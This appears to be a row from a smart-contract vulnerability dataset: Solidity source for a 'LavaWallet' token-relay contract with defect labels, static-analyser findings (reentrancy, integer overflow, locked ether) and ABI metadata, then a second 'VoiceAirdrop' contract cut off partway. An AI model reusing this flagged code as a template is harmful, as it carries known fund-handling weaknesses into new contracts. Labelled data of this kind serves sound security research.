allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ERC918Interface { function totalSupply() public constant returns (uint); function getMiningDifficulty() public constant returns (uint); function getMiningTarget() public constant returns (uint); function getMiningReward() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success); event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber); } contract MiningKingInterface { function getKing() public returns (address); function transferKing(address newKing) public; event TransferKing(address from, address to); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract LavaWallet is Owned { using SafeMath for uint; // balances[tokenContractAddress][EthereumAccountAddress] = 0 mapping(address => mapping (address => uint256)) balances; //token => owner => spender : amount mapping(address => mapping (address => mapping (address => uint256))) allowed; mapping(address => uint256) depositedTokens; mapping(bytes32 => uint256) burnedSignatures; address public relayKingContract; event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); event Transfer(address indexed from, address indexed to,address token, uint tokens); event Approval(address indexed tokenOwner, address indexed spender,address token, uint tokens); function LavaWallet(address relayKingContractAddress ) public { relayKingContract = relayKingContractAddress; } //do not allow ether to enter function() public payable { revert(); } //Remember you need pre-approval for this - nice with ApproveAndCall function depositTokens(address from, address token, uint256 tokens ) public returns (bool success) { //we already have approval so lets do a transferFrom - transfer the tokens into this contract if(!ERC20Interface(token).transferFrom(from, this, tokens)) revert(); balances[token][from] = balances[token][from].add(tokens); depositedTokens[token] = depositedTokens[token].add(tokens); Deposit(token, from, tokens, balances[token][from]); return true; } //No approve needed, only from msg.sender function withdrawTokens(address token, uint256 tokens) public returns (bool success){ balances[token][msg.sender] = balances[token][msg.sender].sub(tokens); depositedTokens[token] = depositedTokens[token].sub(tokens); if(!ERC20Interface(token).transfer(msg.sender, tokens)) revert(); Withdraw(token, msg.sender, tokens, balances[token][msg.sender]); return true; } //Requires approval so it can be public function withdrawTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) { balances[token][from] = balances[token][from].sub(tokens); depositedTokens[token] = depositedTokens[token].sub(tokens); allowed[token][from][to] = allowed[token][from][to].sub(tokens); if(!ERC20Interface(token).transfer(to, tokens)) revert(); Withdraw(token, from, tokens, balances[token][from]); return true; } function balanceOf(address token,address user) public constant returns (uint) { return balances[token][user]; } //Can also be used to remove approval by using a 'tokens' value of 0 function approveTokens(address spender, address token, uint tokens) public returns (bool success) { allowed[token][msg.sender][spender] = tokens; Approval(msg.sender, token, spender, tokens); return true; } ///transfer tokens within the lava balances //No approve needed, only from msg.sender function transferTokens(address to, address token, uint tokens) public returns (bool success) { balances[token][msg.sender] = balances[token][msg.sender].sub(tokens); balances[token][to] = balances[token][to].add(tokens); Transfer(msg.sender, token, to, tokens); return true; } ///transfer tokens within the lava balances //Can be public because it requires approval function transferTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) { balances[token][from] = balances[token][from].sub(tokens); allowed[token][from][to] = allowed[token][from][to].sub(tokens); balances[token][to] = balances[token][to].add(tokens); Transfer(token, from, to, tokens); return true; } //Nonce is the same thing as a 'check number' //EIP 712 function getLavaTypedDataHash(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce) public constant returns (bytes32) { bytes32 hardcodedSchemaHash = 0x8fd4f9177556bbc74d0710c8bdda543afd18cc84d92d64b5620d5f1881dceb37; //with methodname bytes32 typedDataHash = sha3( hardcodedSchemaHash, sha3(methodname,from,to,this,token,tokens,relayerReward,expires,nonce) ); return typedDataHash; } function tokenApprovalWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, bytes32 sigHash, bytes signature) internal returns (bool success) { address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature); //make sure the signer is the depositor of the tokens require(from == recoveredSignatureSigner); require(msg.sender == getRelayingKing() || msg.sender == from || msg.sender == to); // you must be the 'king of the hill' to relay //make sure the signature has not expired require(block.number < expires); uint burnedSignature = burnedSignatures[sigHash]; burnedSignatures[sigHash] = 0x1; //spent if(burnedSignature != 0x0 ) revert(); //approve the relayer reward allowed[token][from][msg.sender] = relayerReward; Approval(from, token, msg.sender, relayerReward); //transferRelayerReward if(!transferTokensFrom(from, msg.sender, token, relayerReward)) revert(); //approve transfer of tokens allowed[token][from][to] = tokens; Approval(from, token, to, tokens); return true; } function approveTokensWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success) { bytes32 sigHash = getLavaTypedDataHash('approve',from,to,token,tokens,relayerReward,expires,nonce); if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); return true; } //the tokens remain in lava wallet function transferTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success) { //check to make sure that signature == ecrecover signature bytes32 sigHash = getLavaTypedDataHash('transfer',from,to,token,tokens,relayerReward,expires,nonce); if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); //it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though if(!transferTokensFrom( from, to, token, tokens)) revert(); return true; } //The tokens are withdrawn from the lava wallet and transferred into the To account function withdrawTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success) { //check to make sure that signature == ecrecover signature bytes32 sigHash = getLavaTypedDataHash('withdraw',from,to,token,tokens,relayerReward,expires,nonce); if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); //it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though if(!withdrawTokensFrom( from, to, token, tokens)) revert(); return true; } function tokenAllowance(address token, address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[token][tokenOwner][spender]; } function burnSignature(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success) { bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce); address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature); //make sure the invalidator is the signer if(recoveredSignatureSigner != from) revert(); //only the original packet owner can burn signature, not a relay if(from != msg.sender) revert(); //make sure this signature has never been used uint burnedSignature = burnedSignatures[sigHash]; burnedSignatures[sigHash] = 0x2; //invalidated if(burnedSignature != 0x0 ) revert(); return true; } //2 is burned //1 is redeemed function signatureBurnStatus(bytes32 digest) public view returns (uint) { return (burnedSignatures[digest]); } /* Receive approval to spend tokens and perform any action all in one transaction */ function receiveApproval(address from, uint256 tokens, address token, bytes data) public returns (bool success) { return depositTokens(from, token, tokens ); } /* Approve lava tokens for a smart contract and call the contracts receiveApproval method all in one fell swoop One issue: the data is not being signed and so it could be manipulated */ function approveAndCall(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature ) public returns (bool success) { bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce); if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); ApproveAndCallFallBack(to).receiveApproval(from, tokens, token, methodname); return true; } function getRelayingKing() public returns (address) { return MiningKingInterface(relayKingContract).getKing(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // Owner CANNOT transfer out tokens which were purposefully deposited // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { //find actual balance of the contract uint tokenBalance = ERC20Interface(tokenAddress).balanceOf(this); //find number of accidentally deposited tokens (actual - purposefully deposited) uint undepositedTokens = tokenBalance.sub(depositedTokens[tokenAddress]); //only allow withdrawing of accidentally deposited tokens assert(tokens <= undepositedTokens); if(!ERC20Interface(tokenAddress).transfer(owner, tokens)) revert(); return true; } }
[{"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["avaWallet.L192"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["103", "127", "134", "114"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["174", "168"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"LavaWallet.sol": [21, 22, 23, 24, 25, 26, 27, 28]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"LavaWallet.sol": [10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LavaWallet.sol": [54, 55, 56, 57, 58, 59, 60, 61]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LavaWallet.sol": [66, 67, 68, 69, 70, 71]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"LavaWallet.sol": [312, 313, 314, 315]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [136]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [288, 289, 290, 291, 286, 287]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [107]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [117]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [119]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [105]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [455, 456, 457, 458, 459, 460]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [224, 225, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [246, 247, 248, 249, 250, 251, 252, 253, 254, 255]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [512, 513, 514, 515, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [480, 481, 482, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [272, 273, 271]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [411, 412, 413, 414, 415]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [384, 385, 386, 387, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [121]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [118]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [168, 169, 170, 171, 172]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [444, 445, 446, 447]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [106]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [128]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [129]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [116]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [104]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [109]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [108]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [278, 279, 280, 281, 282]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LavaWallet.sol": [115]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"LavaWallet.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "locked-ether", "impact": "Medium", "confidence": "High", "lines": {"LavaWallet.sol": [224, 225, 223]}}, {"check": "missing-inheritance", "impact": "Informational", "confidence": "High", "lines": {"LavaWallet.sol": [134, 135, 136, 137, 138]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"LavaWallet.sol": [170]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"LavaWallet.sol": [218]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LavaWallet.sol": [121]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LavaWallet.sol": [168]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"LavaWallet.sol": [237]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"LavaWallet.sol": [338]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LavaWallet.sol": [266]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LavaWallet.sol": [239]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LavaWallet.sol": [346]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LavaWallet.sol": [253]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LavaWallet.sol": [382]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LavaWallet.sol": [401]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"LavaWallet.sol": [299]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"LavaWallet.sol": [259]}}]
[{"error": "Integer Overflow.", "line": 10, "level": "Warning"}, {"error": "Integer Overflow.", "line": 306, "level": "Warning"}, {"error": "Integer Overflow.", "line": 390, "level": "Warning"}, {"error": "Integer Overflow.", "line": 370, "level": "Warning"}, {"error": "Integer Overflow.", "line": 467, "level": "Warning"}, {"error": "Integer Overflow.", "line": 419, "level": "Warning"}, {"error": "Integer Overflow.", "line": 455, "level": "Warning"}, {"error": "Integer Overflow.", "line": 356, "level": "Warning"}, {"error": "Integer Overflow.", "line": 85, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 338, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 435, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 17, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 34, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 182, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 312, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 314, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 104, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 105, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 106, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 115, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 116, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 117, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 118, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 119, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 271, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 306, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 411, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 223, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 233, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 250, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 263, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 339, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 346, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 363, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 379, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 382, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 398, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 401, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 428, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 431, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 436, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 476, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 509, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 195, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 10, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 223, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 10, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 136, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 306, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 322, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 357, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 371, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 391, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 419, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 419, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 455, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 467, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 468, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 21, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 198, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 201, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 203, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 205, "severity": 1}]
[{"constant":false,"inputs":[{"name":"token","type":"address"},{"name":"tokens","type":"uint256"}],"name":"withdrawTokens","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"digest","type":"bytes32"}],"name":"signatureBurnStatus","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"token","type":"address"},{"name":"tokens","type":"uint256"},{"name":"relayerReward","type":"uint256"},{"name":"expires","type":"uint256"},{"name":"nonce","type":"uint256"},{"name":"signature","type":"bytes"}],"name":"withdrawTokensFromWithSignature","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"relayKingContract","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"token","type":"address"},{"name":"tokens","type":"uint256"}],"name":"depositTokens","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"getRelayingKing","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"token","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferTokensFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"methodname","type":"bytes"},{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"token","type":"address"},{"name":"tokens","type":"uint256"},{"name":"relayerReward","type":"uint256"},{"name":"expires","type":"uint256"},{"name":"nonce","type":"uint256"}],"name":"getLavaTypedDataHash","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"token","type":"address"},{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"tokenAllowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"tokens","type":"uint256"},{"name":"token","type":"address"},{"name":"data","type":"bytes"}],"name":"receiveApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"token","type":"address"},{"name":"tokens","type":"uint256"}],"name":"approveTokens","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"token","type":"address"},{"name":"tokens","type":"uint256"},{"name":"relayerReward","type":"uint256"},{"name":"expires","type":"uint256"},{"name":"nonce","type":"uint256"},{"name":"signature","type":"bytes"}],"name":"approveTokensWithSignature","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"token","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferTokens","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"token","type":"address"},{"name":"tokens","type":"uint256"},{"name":"relayerReward","type":"uint256"},{"name":"expires","type":"uint256"},{"name":"nonce","type":"uint256"},{"name":"signature","type":"bytes"}],"name":"transferTokensFromWithSignature","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"token","type":"address"},{"name":"tokens","type":"uint256"}],"name":"withdrawTokensFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"methodname","type":"bytes"},{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"token","type":"address"},{"name":"tokens","type":"uint256"},{"name":"relayerReward","type":"uint256"},{"name":"expires","type":"uint256"},{"name":"nonce","type":"uint256"},{"name":"signature","type":"bytes"}],"name":"burnSignature","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokenAddress","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferAnyERC20Token","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"methodname","type":"bytes"},{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"token","type":"address"},{"name":"tokens","type":"uint256"},{"name":"relayerReward","type":"uint256"},{"name":"expires","type":"uint256"},{"name":"nonce","type":"uint256"},{"name":"signature","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"token","type":"address"},{"name":"user","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"relayKingContractAddress","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"token","type":"address"},{"indexed":false,"name":"user","type":"address"},{"indexed":false,"name":"amount","type":"uint256"},{"indexed":false,"name":"balance","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"token","type":"address"},{"indexed":false,"name":"user","type":"address"},{"indexed":false,"name":"amount","type":"uint256"},{"indexed":false,"name":"balance","type":"uint256"}],"name":"Withdraw","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"token","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"token","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"}]
v0.4.24+commit.e67f0147
false
200
0000000000000000000000000b98f937f6edd6f66b0f0a210d3dcd8ec1063cb6
Default
ECRecovery:3487f239935759b38a2f92ce62e80bae7cc74f97
false
bzzr://392e92129f95f5e52b7a33877cb62df0df3ef6ce1f4c168b64cf79ec42f549aa
VoiceAirdrop
0x884f3edff091c3daa4c111577c2140931ed9fdf8
Solidity
pragma solidity ^0.4.24; contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } interface Token { function transfer(address _to, uint256 _value) external returns (bool); function balanceOf(address _owner) constant external returns (uint256 balance); } contract VoiceAirdrop is Ownable { Token token; event TransferredToken(address indexed to, uint256 value); event FailedTransfer(address indexed to, uint256 value); modifier whenDropIsActive() { assert(isActive()); _; } constructor() public { address _tokenAddr = 0x99637cBdef67d8Ac94af0D5f321Ea37414A3b7B0; //address of the token token = Token(_tokenAddr); } function isActive() constant public returns (bool) { return ( tokensAvailable() > 0 // Tokens must be available to send ); } //below function can be used when you want to send every recipeint with different number of tokens function sendTokens(address[] dests, uint256[] values) whenDropIsActive onlyOwner external { uint256 i = 0; while (i < dests.length) { uint256 toSend = values[i] * 10**18; sendInternally(dests[i] , toSend, values[i]); i++; } } // this function can be used when you want to send same number of tokens to all the recipients function sendTokensSingleValue(address[] dests, uint256 value) whenDropIsActive onlyOwner external { uint256 i = 0; uint256 toSend = value * 10**18; while (i < dests.length) { sendInternally(dests[i] , toSend, value); i++; } } function sendInternally(address recipient, uint256 tokensToSend, uint256 valueToPresent) internal { if(recipient == address(0)) return; if(tokensAvailable() >= tokensToSend) { token.transfer(recipient, tokensToSend); emit TransferredToken(recipient, valueToPresent); } else { emit FailedTransfer(recipient, valueToPresent); } } function tokensAvailable() constant public returns (uint256) { return token.balanceOf(this); } function destroy() onlyOwner public{ uint256 balance = tokensAvailable(); require (balance > 0); 